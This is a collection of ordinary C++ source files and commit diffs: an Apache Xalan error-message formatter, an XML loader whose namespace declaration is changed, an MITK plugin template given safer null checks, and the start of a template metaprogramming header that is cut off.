INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com. For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\/**\n * \n * @author David N. Bertoni (david_n_bertoni@lotus.com)\n * *\/\n\n\n\n\/\/ Base class header file.\n#include \"ProblemListenerDefault.hpp\"\n\n\n\n#include <XalanDOM\/XalanNode.hpp>\n\n\n\n#include <PlatformSupport\/DOMStringHelper.hpp>\n#include <PlatformSupport\/PrintWriter.hpp>\n\n\n\n#include <XSLT\/ElemTemplateElement.hpp>\n\n\n\nstatic const char* const\terrorHeader = \"error: \";\nstatic const char* const\twarningHeader = \"warning: \";\nstatic const char* const\tmessageHeader = \"message: \";\n\nstatic const char* const\txslHeader = \"XSLT \";\nstatic const char* const\txmlHeader = \"XML \";\nstatic const char* const\txpathHeader = \"XPath \";\n\nstatic const char* const\tstyleTreeNodeHeader = \", style tree node: \";\nstatic const char* const\tsourceTreeNodeHeader = \", source tree node: \";\nstatic const char* const\tlocationOpen = \" (\";\nstatic const char* const\turiHeader = \"\";\nstatic const char* const\tlineNoHeader = \", line \";\nstatic const char* const\tcharOffsetHeader = \", column \";\nstatic const char* const\tlocationClose = \")\";\n\n\n\nProblemListenerDefault::ProblemListenerDefault(PrintWriter*\t\tpw) :\n\tProblemListener(),\n\tm_pw(pw)\n{\n}\n\n\n\nProblemListenerDefault::~ProblemListenerDefault()\n{\n}\n\n\n\nvoid\nProblemListenerDefault::setPrintWriter(PrintWriter*\t\tpw)\n{\n\tm_pw = pw;\n}\n\n\n\nvoid\nProblemListenerDefault::problem(\n\t\t\teProblemSource\t\t\twhere,\n\t\t\teClassification\t\t\tclassification, \n\t\t\tconst XalanNode*\t\tsourceNode,\n\t\t\tconst XalanNode*\t\tstyleNode,\n\t\t\tconst XalanDOMString&\tmsg,\n\t\t\tconst XalanDOMChar*\t\turi,\n\t\t\tint\t\t\t\t\t\tlineNo,\n\t\t\tint\t\t\t\t\t\tcharOffset)\n{\n\tif (m_pw != 0)\n\t{\n\t\tproblem(*m_pw, where, classification, sourceNode, styleNode, msg, uri, lineNo, charOffset);\n\t}\n}\n\n\n\nvoid\nProblemListenerDefault::problem(\n\t\t\tPrintWriter&\t\t\tpw,\n\t\t\teProblemSource\t\t\twhere,\n\t\t\teClassification\t\t\tclassification, \n\t\t\tconst XalanNode*\t\tsourceNode,\n\t\t\tconst XalanNode*\t\tstyleNode,\n\t\t\tconst XalanDOMString&\tmsg,\n\t\t\tconst XalanDOMChar*\t\turi,\n\t\t\tint\t\t\t\t\t\tlineNo,\n\t\t\tint\t\t\t\t\t\tcharOffset)\n{\n\tif (eXMLPARSER == where)\n\t{\n\t\tpw.print(xmlHeader);\n\t}\n\telse if (eXPATH == where)\n\t{\n\t\tpw.print(xpathHeader);\n\t}\n\telse\n\t{\n\t\tpw.print(xslHeader);\n\t}\n\n\tif (eERROR == classification)\n\t{\n\t\tpw.print(errorHeader);\n\t}\n\telse if (eWARNING == classification)\n\t{\n\t\tpw.print(warningHeader);\n\t}\n\telse\n\t{\n\t\tpw.print(messageHeader);\n\t}\n\n\tpw.print(msg);\n\n\tif (0 != styleNode)\n\t{\n\t\tpw.print(styleTreeNodeHeader);\n\t\tpw.print(styleNode->getNodeName());\n\t}\n\n\tif (0 != sourceNode)\n\t{\n\t\tpw.print(sourceTreeNodeHeader);\n\t\tpw.print(sourceNode->getNodeName());\n\t}\n\n\tpw.print(locationOpen);\n\n\tif (0 != uri)\n\t{\n\t\tpw.print(uriHeader);\n\t\tpw.print(uri);\n\t}\n\n\tpw.print(lineNoHeader);\n\tpw.print(lineNo);\n\n\tpw.print(charOffsetHeader);\n\tpw.print(charOffset);\n\n\tpw.print(locationClose);\n\n\tpw.println();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * XMLLoadHandler.cpp\n *\n * Created on: 29.05.2017\n * Author: Alexander\n *\/\n\n#include \"persistence\/xml\/XMLLoadHandler.hpp\"\n\n#include <sstream> \/\/ used for getLevel()\n#include <boost\/algorithm\/string.hpp> \/\/ used for string splitting\n\n\n#include \"boost\/exception\/to_string.hpp\"\n\n#include \"ecore\/EObject.hpp\"\n#include \"ecore\/EStructuralFeature.hpp\"\n\n#include \"xerces\/XStr.hpp\"\n#include \"xerces\/WStr.hpp\"\n#include \"xercesc\/dom\/DOMNamedNodeMap.hpp\"\n\nnamespace persistence\n{\nnamespace xml\n{\n\nXMLLoadHandler::XMLLoadHandler ()\n{\n\tm_doc = nullptr;\n\tm_currentElement = nullptr;\n}\n\nXMLLoadHandler::~XMLLoadHandler ()\n{\n\tif ( m_doc )\n\t{\n\t\tm_doc->release();\n\t}\n}\n\n\/**\/\n\nDOMDocument *XMLLoadHandler::getDOMDocument ()\n{\n\treturn m_doc;\n}\n\nvoid XMLLoadHandler::setDOMDocument ( DOMDocument * doc )\n{\n\tassert( doc );\n\tif ( doc == nullptr )\n\t{\n\t\tMSG_ERROR( MSG_FLF << \" Current DOMDocument 'doc' is empty.\" );\n\t\treturn;\n\t}\n\tm_doc = doc;\n\tm_rootObject = nullptr;\n\tm_currentElement = m_doc->getDocumentElement(); \/\/ get root element\n\n\tif ( !m_currentElement )\n\t{\n\t\tMSG_ERROR( MSG_FLF << \" Current DOMElement (root) does not exist.\" );\n\t\tassert( m_currentElement );\n\t}\n\n\tstd::string rootTagName = W(m_currentElement->getTagName());\n\tstd::cout << \"rootTagName: \" << rootTagName << std::endl;\n\tunsigned int index = rootTagName.find(':');\n\tif (index != std::string::npos)\n\t{\n\t\tm_rootPrefix = rootTagName.substr(0, index);\n\t\tm_rootName = rootTagName.substr(index+1, rootTagName.size()-index);\n\n\t\tstd::string id = W(m_currentElement->getAttribute(X(\"xmi:id\")));\n\t\tstd::cout << \"root has xmi:id \" << id << std::endl;\n\t\tm_isXSIMode = id.empty();\n\t}\n\telse\n\t{\n\t\tMSG_ERROR(MSG_FLF << \" root prefix could not be selected from root tag name '\" << rootTagName << \"'\");\n\t}\n\n\tif ( m_currentElement->getNodeType() == DOMNode::ELEMENT_NODE )\n\t{\n\t\tm_currentElements.push_back( m_currentElement );\n\t}\n\telse\n\t{\n\t\tMSG_ERROR( MSG_FLF << \" Current DOMElement (root) is not a DOMNode::ELEMENT_NODE.\" );\n\t}\n}\n\nunsigned int XMLLoadHandler::getNumOfChildNodes ()\n{\n\tDOMNode *child;\n\tunsigned int count = 0;\n\n\tfor ( child = m_currentElement->getLastChild(); child != 0; child = child->getPreviousSibling() )\n\t{\n\t\tif ( child->getNodeType() == DOMNode::ELEMENT_NODE )\n\t\t{\n\t\t\t++count;\n\t\t}\n\t}\n\tif ( count != m_currentElement->getChildElementCount() )\n\t{\n\t\tMSG_ERROR( MSG_FLF << \"Different Number of Children\" );\n\t}\n\treturn count;\n}\n\nstd::string XMLLoadHandler::getNextNodeName ()\n{\n\tstd::string nodeName;\n\tDOMNode *child;\n\n\tif ( m_currentElements.size() == 0 )\n\t{\n\t\tnodeName = \"\";\n\t}\n\telse\n\t{\n\t\tm_currentElement = (DOMElement*) m_currentElements.back();\n\n\t\tnodeName = W( m_currentElement->getNodeName() );\n\n\t\tm_currentElements.pop_back();\n\n\t\tfor ( child = m_currentElement->getLastChild(); child != 0; child = child->getPreviousSibling() )\n\t\t{\n\t\t\tif ( child->getNodeType() == DOMNode::ELEMENT_NODE )\n\t\t\t{\n\t\t\t\tm_currentElements.push_back( child );\n\t\t\t}\n\t\t}\n\n#if 0\n\t\tstd::cout << \"| DEBUG | \" << \"Node-List: \" << std::endl << \"| | \";\n\t\tfor ( auto current_elem : m_currentElements )\n\t\t{\n\t\t\tstd::cout << \"<\" << W( current_elem->getNodeName() ) << \"> \";\n\t\t}\n\t\tstd::cout << std::endl;\n#endif\n\t}\n\t\/\/MSG_DEBUG(\"NodeName: \" << nodeName);\n\n\treturn nodeName;\n}\n\nstd::map<std::string, std::string> XMLLoadHandler::getAttributeList ()\n{\n\tstd::map<std::string, std::string> attributeList;\n\n\tDOMAttr *pAttributeNode;\n\tstd::string aName;\n\tstd::string aValue;\n\n\tDOMNamedNodeMap *pAttributes = m_currentElement->getAttributes();\n\tconst XMLSize_t nSize = pAttributes->getLength();\n\n\t\/\/MSG_DEBUG(\"\\t\" << \"Attributes:\");\n\t\/\/MSG_DEBUG(\"\\t\" << \"-----------\");\n\n\tfor ( XMLSize_t i = 0; i < nSize; ++i )\n\t{\n\t\tpAttributeNode = (DOMAttr*) pAttributes->item( i );\n\t\t\/\/ get attribute name\n\t\taName = W( pAttributeNode->getName() );\n\n\t\t\/\/ get attribute type\n\t\taValue = W( pAttributeNode->getValue() );\n\n\t\t\/\/ Print Attribute Name and Value\n\t\t\/\/MSG_DEBUG\"\\t\" << aName << \"=\" << aValue);\n\n\t\tattributeList.insert( std::pair<std::string, std::string>( aName, aValue ) );\n\t}\n\n\treturn attributeList;\n}\n\nstd::string XMLLoadHandler::getCurrentXSITypeName ()\n{\n\tDOMAttr *pAttributeNode;\n\tstd::string aName;\n\n\tDOMNamedNodeMap *pAttributes = m_currentElement->getAttributes();\n\tconst XMLSize_t nSize = pAttributes->getLength();\n\n\tfor ( XMLSize_t i = 0; i < nSize; ++i )\n\t{\n\t\tpAttributeNode = (DOMAttr*) pAttributes->item( i );\n\t\t\/\/ get attribute name\n\t\taName = W( pAttributeNode->getName() );\n\n\t\tif (aName == \"xsi:type\" or aName == \"xmi:type\")\n\t\t{\n\t\t\tstd::string _type = W(pAttributeNode->getValue());\n\t\t\tsize_t const double_dot = _type.find(L':', 0);\n\t\t\tstd::string _type_ns = _type.substr(0, double_dot); \/\/ TODO '_type_ns' is not used in this case\n\t\t\tstd::string _type_name = _type.substr(double_dot + 1);\n\t\t\treturn _type_name;\n\t\t}\n\t}\n\n\treturn \"\";\n}\n\n\nstd::string XMLLoadHandler::getCurrentXMIID()\n{\n\tDOMAttr *pAttributeNode;\n\tstd::string aName;\n\n\tDOMNamedNodeMap *pAttributes = m_currentElement->getAttributes();\n\tconst XMLSize_t nSize = pAttributes->getLength();\n\n\tfor ( XMLSize_t i = 0; i < nSize; ++i )\n\t{\n\t\tpAttributeNode = (DOMAttr*) pAttributes->item( i );\n\t\t\/\/ get attribute name\n\t\taName = W( pAttributeNode->getName() );\n\n\t\tif (aName == \"xmi:id\")\n\t\t{\n\t\t\tstd::string id = W(pAttributeNode->getValue());\n\t\t\treturn id;\n\t\t}\n\t}\n\n\treturn \"\";\n}\n\nstd::shared_ptr<ecore::EObject> XMLLoadHandler::checkNodeType(std::shared_ptr<ecore::EObject> object)\n{\n\tDOMNodeList* dom = m_currentElement->getChildNodes();\n\tconst XMLSize_t size = dom->getLength();\n\n\tfor (XMLSize_t i=0; i<size; i++)\n\t{\n\t\tDOMNode* node = dom->item(i);\n\t\tstd::string nodeName = W(node->getNodeName());\n\t\tif (nodeName == \"type\")\n\t\t{\n\t\t\tstd::string type = \"\";\n\t\t\tstd::string href = \"\";\n\t\t\tDOMNamedNodeMap* attrListNode = node->getAttributes();\n\t\t\tconst XMLSize_t sizeAttrList = attrListNode->getLength();\n\n\t\t\tfor (XMLSize_t i = 0; i < sizeAttrList; ++i)\n\t\t\t{\n\t\t\t\tDOMAttr* attributeNode = (DOMAttr*) attrListNode->item( i );\n\t\t\t\t\/\/ get attribute name\n\t\t\t\tstd::string aName = W( attributeNode->getName() );\n\n\t\t\t\tif (aName == \"xmi:type\")\n\t\t\t\t{\n\t\t\t\t\ttype = W(attributeNode->getValue());\n\t\t\t\t}\n\t\t\t\tif (aName == \"href\")\n\t\t\t\t{\n\t\t\t\t\thref = W(attributeNode->getValue());\n\t\t\t\t}\n\t\t\t}\n\n\t\t\ttype = type + \" \" + href;\n\t\t\tauto iter = m_refToObject_map.find(type);\n\t\t\tif (iter != m_refToObject_map.end())\n\t\t\t{\n\t\t\t\treturn iter->second;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\n\n\t\t\t\tloadTypes(type);\n\t\t\t\tauto iter = m_refToObject_map.find(type);\n\t\t\t\tif (iter != m_refToObject_map.end())\n\t\t\t\t{\n\t\t\t\t\treturn iter->second;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn nullptr;\n}\n\nstd::shared_ptr<std::string> XMLLoadHandler::getChildText()\n{\n\tstd::string value = W(m_currentElement->getTextContent());\n\tstd::shared_ptr<std::string> valuePtr(new std::string(value));\n\treturn valuePtr;\n}\n\n} \/* namespace xml *\/\n} \/* namespace persistence *\/\n<commit_msg>[persistence] modify namespace declaration<commit_after>\/*\n * XMLLoadHandler.cpp\n *\n * Created on: 29.05.2017\n * Author: Alexander\n *\/\n\n#include \"persistence\/xml\/XMLLoadHandler.hpp\"\n\n#include <sstream> \/\/ used for getLevel()\n#include <boost\/algorithm\/string.hpp> \/\/ used for string splitting\n\n\n#include \"boost\/exception\/to_string.hpp\"\n\n#include \"ecore\/EObject.hpp\"\n#include \"ecore\/EStructuralFeature.hpp\"\n\n#include \"xerces\/XStr.hpp\"\n#include \"xerces\/WStr.hpp\"\n#include \"xercesc\/dom\/DOMNamedNodeMap.hpp\"\n\nusing namespace persistence::xml;\n\nXMLLoadHandler::XMLLoadHandler ()\n{\n\tm_doc = nullptr;\n\tm_currentElement = nullptr;\n}\n\nXMLLoadHandler::~XMLLoadHandler ()\n{\n\tif ( m_doc )\n\t{\n\t\tm_doc->release();\n\t}\n}\n\n\/**\/\n\nDOMDocument *XMLLoadHandler::getDOMDocument ()\n{\n\treturn m_doc;\n}\n\nvoid XMLLoadHandler::setDOMDocument ( DOMDocument * doc )\n{\n\tassert( doc );\n\tif ( doc == nullptr )\n\t{\n\t\tMSG_ERROR( MSG_FLF << \" Current DOMDocument 'doc' is empty.\" );\n\t\treturn;\n\t}\n\tm_doc = doc;\n\tm_rootObject = nullptr;\n\tm_currentElement = m_doc->getDocumentElement(); \/\/ get root element\n\n\tif ( !m_currentElement )\n\t{\n\t\tMSG_ERROR( MSG_FLF << \" Current DOMElement (root) does not exist.\" );\n\t\tassert( m_currentElement );\n\t}\n\n\tstd::string rootTagName = W(m_currentElement->getTagName());\n\tstd::cout << \"rootTagName: \" << rootTagName << std::endl;\n\tunsigned int index = rootTagName.find(':');\n\tif (index != std::string::npos)\n\t{\n\t\tm_rootPrefix = rootTagName.substr(0, index);\n\t\tm_rootName = rootTagName.substr(index+1, rootTagName.size()-index);\n\n\t\tstd::string id = W(m_currentElement->getAttribute(X(\"xmi:id\")));\n\t\tstd::cout << \"root has xmi:id \" << id << std::endl;\n\t\tm_isXSIMode = id.empty();\n\t}\n\telse\n\t{\n\t\tMSG_ERROR(MSG_FLF << \" root prefix could not be selected from root tag name '\" << rootTagName << \"'\");\n\t}\n\n\tif ( m_currentElement->getNodeType() == DOMNode::ELEMENT_NODE )\n\t{\n\t\tm_currentElements.push_back( m_currentElement );\n\t}\n\telse\n\t{\n\t\tMSG_ERROR( MSG_FLF << \" Current DOMElement (root) is not a DOMNode::ELEMENT_NODE.\" );\n\t}\n}\n\nunsigned int XMLLoadHandler::getNumOfChildNodes ()\n{\n\tDOMNode *child;\n\tunsigned int count = 0;\n\n\tfor ( child = m_currentElement->getLastChild(); child != 0; child = child->getPreviousSibling() )\n\t{\n\t\tif ( child->getNodeType() == DOMNode::ELEMENT_NODE )\n\t\t{\n\t\t\t++count;\n\t\t}\n\t}\n\tif ( count != m_currentElement->getChildElementCount() )\n\t{\n\t\tMSG_ERROR( MSG_FLF << \"Different Number of Children\" );\n\t}\n\treturn count;\n}\n\nstd::string XMLLoadHandler::getNextNodeName ()\n{\n\tstd::string nodeName;\n\tDOMNode *child;\n\n\tif ( m_currentElements.size() == 0 )\n\t{\n\t\tnodeName = \"\";\n\t}\n\telse\n\t{\n\t\tm_currentElement = (DOMElement*) m_currentElements.back();\n\n\t\tnodeName = W( m_currentElement->getNodeName() );\n\n\t\tm_currentElements.pop_back();\n\n\t\tfor ( child = m_currentElement->getLastChild(); child != 0; child = child->getPreviousSibling() )\n\t\t{\n\t\t\tif ( child->getNodeType() == DOMNode::ELEMENT_NODE )\n\t\t\t{\n\t\t\t\tm_currentElements.push_back( child );\n\t\t\t}\n\t\t}\n\n#if 0\n\t\tstd::cout << \"| DEBUG | \" << \"Node-List: \" << std::endl << \"| | \";\n\t\tfor ( auto current_elem : m_currentElements )\n\t\t{\n\t\t\tstd::cout << \"<\" << W( current_elem->getNodeName() ) << \"> \";\n\t\t}\n\t\tstd::cout << std::endl;\n#endif\n\t}\n\t\/\/MSG_DEBUG(\"NodeName: \" << nodeName);\n\n\treturn nodeName;\n}\n\nstd::map<std::string, std::string> XMLLoadHandler::getAttributeList ()\n{\n\tstd::map<std::string, std::string> attributeList;\n\n\tDOMAttr *pAttributeNode;\n\tstd::string aName;\n\tstd::string aValue;\n\n\tDOMNamedNodeMap *pAttributes = m_currentElement->getAttributes();\n\tconst XMLSize_t nSize = pAttributes->getLength();\n\n\t\/\/MSG_DEBUG(\"\\t\" << \"Attributes:\");\n\t\/\/MSG_DEBUG(\"\\t\" << \"-----------\");\n\n\tfor ( XMLSize_t i = 0; i < nSize; ++i )\n\t{\n\t\tpAttributeNode = (DOMAttr*) pAttributes->item( i );\n\t\t\/\/ get attribute name\n\t\taName = W( pAttributeNode->getName() );\n\n\t\t\/\/ get attribute type\n\t\taValue = W( pAttributeNode->getValue() );\n\n\t\t\/\/ Print Attribute Name and Value\n\t\t\/\/MSG_DEBUG\"\\t\" << aName << \"=\" << aValue);\n\n\t\tattributeList.insert( std::pair<std::string, std::string>( aName, aValue ) );\n\t}\n\n\treturn attributeList;\n}\n\nstd::string XMLLoadHandler::getCurrentXSITypeName ()\n{\n\tDOMAttr *pAttributeNode;\n\tstd::string aName;\n\n\tDOMNamedNodeMap *pAttributes = m_currentElement->getAttributes();\n\tconst XMLSize_t nSize = pAttributes->getLength();\n\n\tfor ( XMLSize_t i = 0; i < nSize; ++i )\n\t{\n\t\tpAttributeNode = (DOMAttr*) pAttributes->item( i );\n\t\t\/\/ get attribute name\n\t\taName = W( pAttributeNode->getName() );\n\n\t\tif (aName == \"xsi:type\" or aName == \"xmi:type\")\n\t\t{\n\t\t\tstd::string _type = W(pAttributeNode->getValue());\n\t\t\tsize_t const double_dot = _type.find(L':', 0);\n\t\t\tstd::string _type_ns = _type.substr(0, double_dot); \/\/ TODO '_type_ns' is not used in this case\n\t\t\tstd::string _type_name = _type.substr(double_dot + 1);\n\t\t\treturn _type_name;\n\t\t}\n\t}\n\n\treturn \"\";\n}\n\n\nstd::string XMLLoadHandler::getCurrentXMIID()\n{\n\tDOMAttr *pAttributeNode;\n\tstd::string aName;\n\n\tDOMNamedNodeMap *pAttributes = m_currentElement->getAttributes();\n\tconst XMLSize_t nSize = pAttributes->getLength();\n\n\tfor ( XMLSize_t i = 0; i < nSize; ++i )\n\t{\n\t\tpAttributeNode = (DOMAttr*) pAttributes->item( i );\n\t\t\/\/ get attribute name\n\t\taName = W( pAttributeNode->getName() );\n\n\t\tif (aName == \"xmi:id\")\n\t\t{\n\t\t\tstd::string id = W(pAttributeNode->getValue());\n\t\t\treturn id;\n\t\t}\n\t}\n\n\treturn \"\";\n}\n\nstd::shared_ptr<ecore::EObject> XMLLoadHandler::checkNodeType(std::shared_ptr<ecore::EObject> object)\n{\n\tDOMNodeList* dom = m_currentElement->getChildNodes();\n\tconst XMLSize_t size = dom->getLength();\n\n\tfor (XMLSize_t i=0; i<size; i++)\n\t{\n\t\tDOMNode* node = dom->item(i);\n\t\tstd::string nodeName = W(node->getNodeName());\n\t\tif (nodeName == \"type\")\n\t\t{\n\t\t\tstd::string type = \"\";\n\t\t\tstd::string href = \"\";\n\t\t\tDOMNamedNodeMap* attrListNode = node->getAttributes();\n\t\t\tconst XMLSize_t sizeAttrList = attrListNode->getLength();\n\n\t\t\tfor (XMLSize_t i = 0; i < sizeAttrList; ++i)\n\t\t\t{\n\t\t\t\tDOMAttr* attributeNode = (DOMAttr*) attrListNode->item( i );\n\t\t\t\t\/\/ get attribute name\n\t\t\t\tstd::string aName = W( attributeNode->getName() );\n\n\t\t\t\tif (aName == \"xmi:type\")\n\t\t\t\t{\n\t\t\t\t\ttype = W(attributeNode->getValue());\n\t\t\t\t}\n\t\t\t\tif (aName == \"href\")\n\t\t\t\t{\n\t\t\t\t\thref = W(attributeNode->getValue());\n\t\t\t\t}\n\t\t\t}\n\n\t\t\ttype = type + \" \" + href;\n\t\t\tauto iter = m_refToObject_map.find(type);\n\t\t\tif (iter != m_refToObject_map.end())\n\t\t\t{\n\t\t\t\treturn iter->second;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\n\n\t\t\t\tloadTypes(type);\n\t\t\t\tauto iter = m_refToObject_map.find(type);\n\t\t\t\tif (iter != m_refToObject_map.end())\n\t\t\t\t{\n\t\t\t\t\treturn iter->second;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn nullptr;\n}\n\nstd::shared_ptr<std::string> XMLLoadHandler::getChildText()\n{\n\tstd::string value = W(m_currentElement->getTextContent());\n\tstd::shared_ptr<std::string> valuePtr(new std::string(value));\n\treturn valuePtr;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n \nProgram: Medical Imaging & Interaction Toolkit\nModule: $RCSfile$\nLanguage: C++\nDate: $Date$\nVersion: $Revision$\n \nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n \nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE. See the above copyright notices for more information.\n \n=========================================================================*\/\n\n#include \"@FUNCTIONALITY_NAME@.h\"\n#include \"@FUNCTIONALITY_NAME@Controls.h\"\n#include <qaction.h>\n#include \"icon.xpm\"\n#include \"QmitkTreeNodeSelector.h\"\n#include \"QmitkStdMultiWidget.h\"\n\n@FUNCTIONALITY_NAME@::@FUNCTIONALITY_NAME@(QObject *parent, const char *name, QmitkStdMultiWidget *mitkStdMultiWidget, mitk::DataTreeIteratorBase* it)\n : QmitkFunctionality(parent, name, it), m_MultiWidget(mitkStdMultiWidget), m_Controls(NULL)\n{\n SetAvailability(true);\n}\n\n@FUNCTIONALITY_NAME@::~@FUNCTIONALITY_NAME@()\n{}\n\nQWidget * @FUNCTIONALITY_NAME@::CreateMainWidget(QWidget *parent)\n{\n if ( m_MultiWidget == NULL )\n {\n m_MultiWidget = new QmitkStdMultiWidget( parent );\n }\n return m_MultiWidget;\n}\n\nQWidget * @FUNCTIONALITY_NAME@::CreateControlWidget(QWidget *parent)\n{\n if (m_Controls == NULL)\n {\n m_Controls = new @FUNCTIONALITY_NAME@Controls(parent);\n }\n return m_Controls;\n}\n\nvoid @FUNCTIONALITY_NAME@::CreateConnections()\n{\n if ( m_Controls )\n {\n connect( (QObject*)(m_Controls->m_TreeNodeSelector), SIGNAL(Activated(mitk::DataTreeIteratorClone)),(QObject*) this, SLOT(ImageSelected(mitk::DataTreeIteratorClone)) );\n }\n}\n\nQAction * @FUNCTIONALITY_NAME@::CreateAction(QActionGroup *parent)\n{\n QAction* action;\n action = new QAction( tr( \"ToolTip\" ), QPixmap((const char**)icon_xpm), tr( \"MenueEintrag\" ), 0, parent, \"@FUNCTIONALITY_NAME@\" );\n return action;\n}\n\nvoid @FUNCTIONALITY_NAME@::TreeChanged()\n{\n m_Controls->m_TreeNodeSelector->SetDataTreeNodeIterator(this->GetDataTreeIterator());\n}\n\nvoid @FUNCTIONALITY_NAME@::Activated()\n{\n QmitkFunctionality::Activated();\n}\n\nvoid @FUNCTIONALITY_NAME@::ImageSelected(mitk::DataTreeIteratorClone imageIt)\n{\n std::string name;\n if (imageIt->Get()->GetName(name))\n {\n std::cout << \"Tree node selected with name '\" << name << \"'\" << std::endl;\n }\n}\n<commit_msg>play a bit more safe\/explicit in the image-selected-procedure<commit_after>\/*=========================================================================\n \nProgram: Medical Imaging & Interaction Toolkit\nModule: $RCSfile$\nLanguage: C++\nDate: $Date$\nVersion: $Revision$\n \nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n \nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE. See the above copyright notices for more information.\n \n=========================================================================*\/\n\n#include \"@FUNCTIONALITY_NAME@.h\"\n#include \"@FUNCTIONALITY_NAME@Controls.h\"\n#include <qaction.h>\n#include \"icon.xpm\"\n#include \"QmitkTreeNodeSelector.h\"\n#include \"QmitkStdMultiWidget.h\"\n\n@FUNCTIONALITY_NAME@::@FUNCTIONALITY_NAME@(QObject *parent, const char *name, QmitkStdMultiWidget *mitkStdMultiWidget, mitk::DataTreeIteratorBase* it)\n : QmitkFunctionality(parent, name, it), m_MultiWidget(mitkStdMultiWidget), m_Controls(NULL)\n{\n SetAvailability(true);\n}\n\n@FUNCTIONALITY_NAME@::~@FUNCTIONALITY_NAME@()\n{}\n\nQWidget * @FUNCTIONALITY_NAME@::CreateMainWidget(QWidget *parent)\n{\n if ( m_MultiWidget == NULL )\n {\n m_MultiWidget = new QmitkStdMultiWidget( parent );\n }\n return m_MultiWidget;\n}\n\nQWidget * @FUNCTIONALITY_NAME@::CreateControlWidget(QWidget *parent)\n{\n if (m_Controls == NULL)\n {\n m_Controls = new @FUNCTIONALITY_NAME@Controls(parent);\n }\n return m_Controls;\n}\n\nvoid @FUNCTIONALITY_NAME@::CreateConnections()\n{\n if ( m_Controls )\n {\n connect( (QObject*)(m_Controls->m_TreeNodeSelector), SIGNAL(Activated(mitk::DataTreeIteratorClone)),(QObject*) this, SLOT(ImageSelected(mitk::DataTreeIteratorClone)) );\n }\n}\n\nQAction * @FUNCTIONALITY_NAME@::CreateAction(QActionGroup *parent)\n{\n QAction* action;\n action = new QAction( tr( \"ToolTip\" ), QPixmap((const char**)icon_xpm), tr( \"MenueEintrag\" ), 0, parent, \"@FUNCTIONALITY_NAME@\" );\n return action;\n}\n\nvoid @FUNCTIONALITY_NAME@::TreeChanged()\n{\n m_Controls->m_TreeNodeSelector->SetDataTreeNodeIterator(this->GetDataTreeIterator());\n}\n\nvoid @FUNCTIONALITY_NAME@::Activated()\n{\n QmitkFunctionality::Activated();\n}\n\nvoid @FUNCTIONALITY_NAME@::ImageSelected(mitk::DataTreeIteratorClone imageIt)\n{\n assert( imageIt.IsNotNull() ); \/\/ should never fail, the selection widget cares for that\n \n mitk::DataTreeNode* node = imageIt->Get();\n if ( node )\n {\n \/\/ here we have a valid mitk::DataTreeNode\n std::string name;\n if (node->GetName(name))\n {\n \/\/ a property called \"name\" was found for this DataTreeNode\n std::cout << \"Tree node selected with name '\" << name << \"'\" << std::endl;\n }\n\n \/\/ a node itself is not very useful, we need its data item\n mitk::BaseData* data = node->GetData();\n if (data)\n {\n \/\/ test if this data item is an image or not (could also be a surface or something totally different)\n mitk::Image* image = dynamic_cast<mitk::Image*>( data );\n if (image)\n {\n std::cout << \"Surprise: this node contains a real image dataset.\" << std::endl;\n }\n }\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n#include <cstdint>\n#include <limits>\n#include \"type.hpp\"\n\nnamespace spn {\n\t\/\/! 表現に何ビット使うか計算\n\t\/*! +1すればMSBの取得にもつかえる *\/\n\ttemplate <unsigned int N>\n\tstruct NBits {\n\t\tenum { result=1+NBits<((N)>>1)>::result };\n\t};\n\ttemplate <>\n\tstruct NBits<0> {\n\t\tenum { result=1 };\n\t};\n\ttemplate <>\n\tstruct NBits<1> {\n\t\tenum { result=1 };\n\t};\n\n\t\/\/! NをLで何回割れるか(と、その余り)\n\ttemplate <int N, int L, int N2=N>\n\tstruct NDivide {\n\t\ttypedef NDivide<N\/L,L,N> Lower;\n\t\tenum { result=Lower::result + ((N>=L) ? 1 : 0),\n\t\t\t\tsum=N + Lower::sum,\n\t\t\t\todd=Lower::odd };\n\t};\n\ttemplate <int L, int N2>\n\tstruct NDivide<0, L, N2> {\n\t\tenum { result=0,\n\t\t\t\tsum=0,\n\t\t\t\todd=N2 };\n\t};\n\n\t\/\/! コンパイル時累乗\n\ttemplate <int N, int P>\n\tstruct NPow {\n\t\tenum { result=NPow<N,P-1>::result * N };\n\t};\n\ttemplate <int N>\n\tstruct NPow<N,0> {\n\t\tenum { result=1 };\n\t};\n\n\t\/\/! 引数のペアを全てXORしたものをORする\n\tinline int X_OrArgs() { return 0; }\n\ttemplate <class T, class... Args>\n\tinline T 